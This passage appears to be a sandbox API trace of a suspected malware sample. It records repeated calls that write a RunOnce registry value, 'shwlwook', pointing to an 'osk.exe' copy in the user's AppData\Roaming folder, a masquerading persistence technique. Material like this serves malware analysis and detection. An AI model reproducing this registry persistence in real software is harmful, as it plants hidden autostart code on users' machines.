TranslateMessage (lpMsg=0x95f69c) returned 0 [0266.323] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0266.323] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0266.324] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0266.324] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0266.324] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0266.324] RegCloseKey (hKey=0x14c) returned 0x0 [0266.325] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0266.325] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0266.339] TranslateMessage (lpMsg=0x95f69c) returned 0 [0266.339] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0266.339] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0266.340] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0266.340] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0266.340] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0266.340] RegCloseKey (hKey=0x14c) returned 0x0 [0266.340] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0266.341] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0266.354] TranslateMessage (lpMsg=0x95f69c) returned 0 [0266.354] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0266.355] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0266.356] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0266.356] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0266.356] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0266.356] RegCloseKey (hKey=0x14c) returned 0x0 [0266.356] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0266.357] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0266.371] TranslateMessage (lpMsg=0x95f69c) returned 0 [0266.371] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0266.371] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0266.372] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0266.372] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0266.372] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0266.372] RegCloseKey (hKey=0x14c) returned 0x0 [0266.373] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0266.373] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0266.386] TranslateMessage (lpMsg=0x95f69c) returned 0 [0266.386] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0266.386] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0266.387] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0266.387] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0266.387] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0266.387] RegCloseKey (hKey=0x14c) returned 0x0 [0266.388] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0266.388] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0266.401] TranslateMessage (lpMsg=0x95f69c) returned 0 [0266.401] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0266.402] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0266.402] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0266.402] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0266.403] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0266.403] RegCloseKey (hKey=0x14c) returned 0x0 [0266.403] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0266.403] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0266.419] TranslateMessage (lpMsg=0x95f69c) returned 0 [0266.419] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0266.419] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0266.421] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0266.422] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0266.422] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0266.423] RegCloseKey (hKey=0x14c) returned 0x0 [0266.423] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0266.424] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0266.438] TranslateMessage (lpMsg=0x95f69c) returned 0 [0266.438] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0266.439] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0266.439] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0266.439] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0266.439] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0266.440] RegCloseKey (hKey=0x14c) returned 0x0 [0266.440] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0266.440] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0266.464] TranslateMessage (lpMsg=0x95f69c) returned 0 [0266.464] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0266.464] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0266.465] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0266.465] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0266.465] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0266.465] RegCloseKey (hKey=0x14c) returned 0x0 [0266.466] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0266.466] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0266.480] TranslateMessage (lpMsg=0x95f69c) returned 0 [0266.480] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0266.480] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0266.481] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0266.481] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0266.481] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0266.481] RegCloseKey (hKey=0x14c) returned 0x0 [0266.482] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0266.482] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0266.495] TranslateMessage (lpMsg=0x95f69c) returned 0 [0266.495] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0266.496] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0266.496] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0266.496] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0266.497] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0266.497] RegCloseKey (hKey=0x14c) returned 0x0 [0266.497] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0266.497] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0266.511] TranslateMessage (lpMsg=0x95f69c) returned 0 [0266.511] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0266.511] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0266.512] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0266.512] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0266.512] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0266.512] RegCloseKey (hKey=0x14c) returned 0x0 [0266.513] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0266.513] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0266.526] TranslateMessage (lpMsg=0x95f69c) returned 0 [0266.526] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0266.527] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0266.527] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0266.527] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0266.528] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0266.528] RegCloseKey (hKey=0x14c) returned 0x0 [0266.528] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0266.528] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0266.542] TranslateMessage (lpMsg=0x95f69c) returned 0 [0266.542] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0266.542] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0266.543] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0266.543] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0266.543] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0266.543] RegCloseKey (hKey=0x14c) returned 0x0 [0266.544] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0266.544] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0266.557] TranslateMessage (lpMsg=0x95f69c) returned 0 [0266.557] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0266.558] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0266.558] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0266.559] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0266.559] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0266.559] RegCloseKey (hKey=0x14c) returned 0x0 [0266.559] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0266.559] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0266.573] TranslateMessage (lpMsg=0x95f69c) returned 0 [0266.573] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0266.574] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0266.574] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0266.574] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0266.575] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0266.575] RegCloseKey (hKey=0x14c) returned 0x0 [0266.575] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0266.575] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0266.589] TranslateMessage (lpMsg=0x95f69c) returned 0 [0266.589] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0266.589] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0266.590] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0266.590] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0266.590] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0266.590] RegCloseKey (hKey=0x14c) returned 0x0 [0266.590] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0266.591] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0266.610] TranslateMessage (lpMsg=0x95f69c) returned 0 [0266.610] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0266.610] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0266.611] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0266.611] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0266.611] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0266.611] RegCloseKey (hKey=0x14c) returned 0x0 [0266.612] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0266.612] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0266.620] TranslateMessage (lpMsg=0x95f69c) returned 0 [0266.620] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0266.620] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0266.621] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0266.621] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0266.621] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0266.621] RegCloseKey (hKey=0x14c) returned 0x0 [0266.622] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0266.622] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0266.636] TranslateMessage (lpMsg=0x95f69c) returned 0 [0266.636] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0266.636] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0266.637] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0266.637] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0266.637] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0266.637] RegCloseKey (hKey=0x14c) returned 0x0 [0266.637] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0266.638] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0266.652] TranslateMessage (lpMsg=0x95f69c) returned 0 [0266.652] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0266.652] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0266.653] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0266.653] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0266.653] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0266.653] RegCloseKey (hKey=0x14c) returned 0x0 [0266.653] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0266.654] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0266.667] TranslateMessage (lpMsg=0x95f69c) returned 0 [0266.667] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0266.667] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0266.668] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0266.668] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0266.668] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: 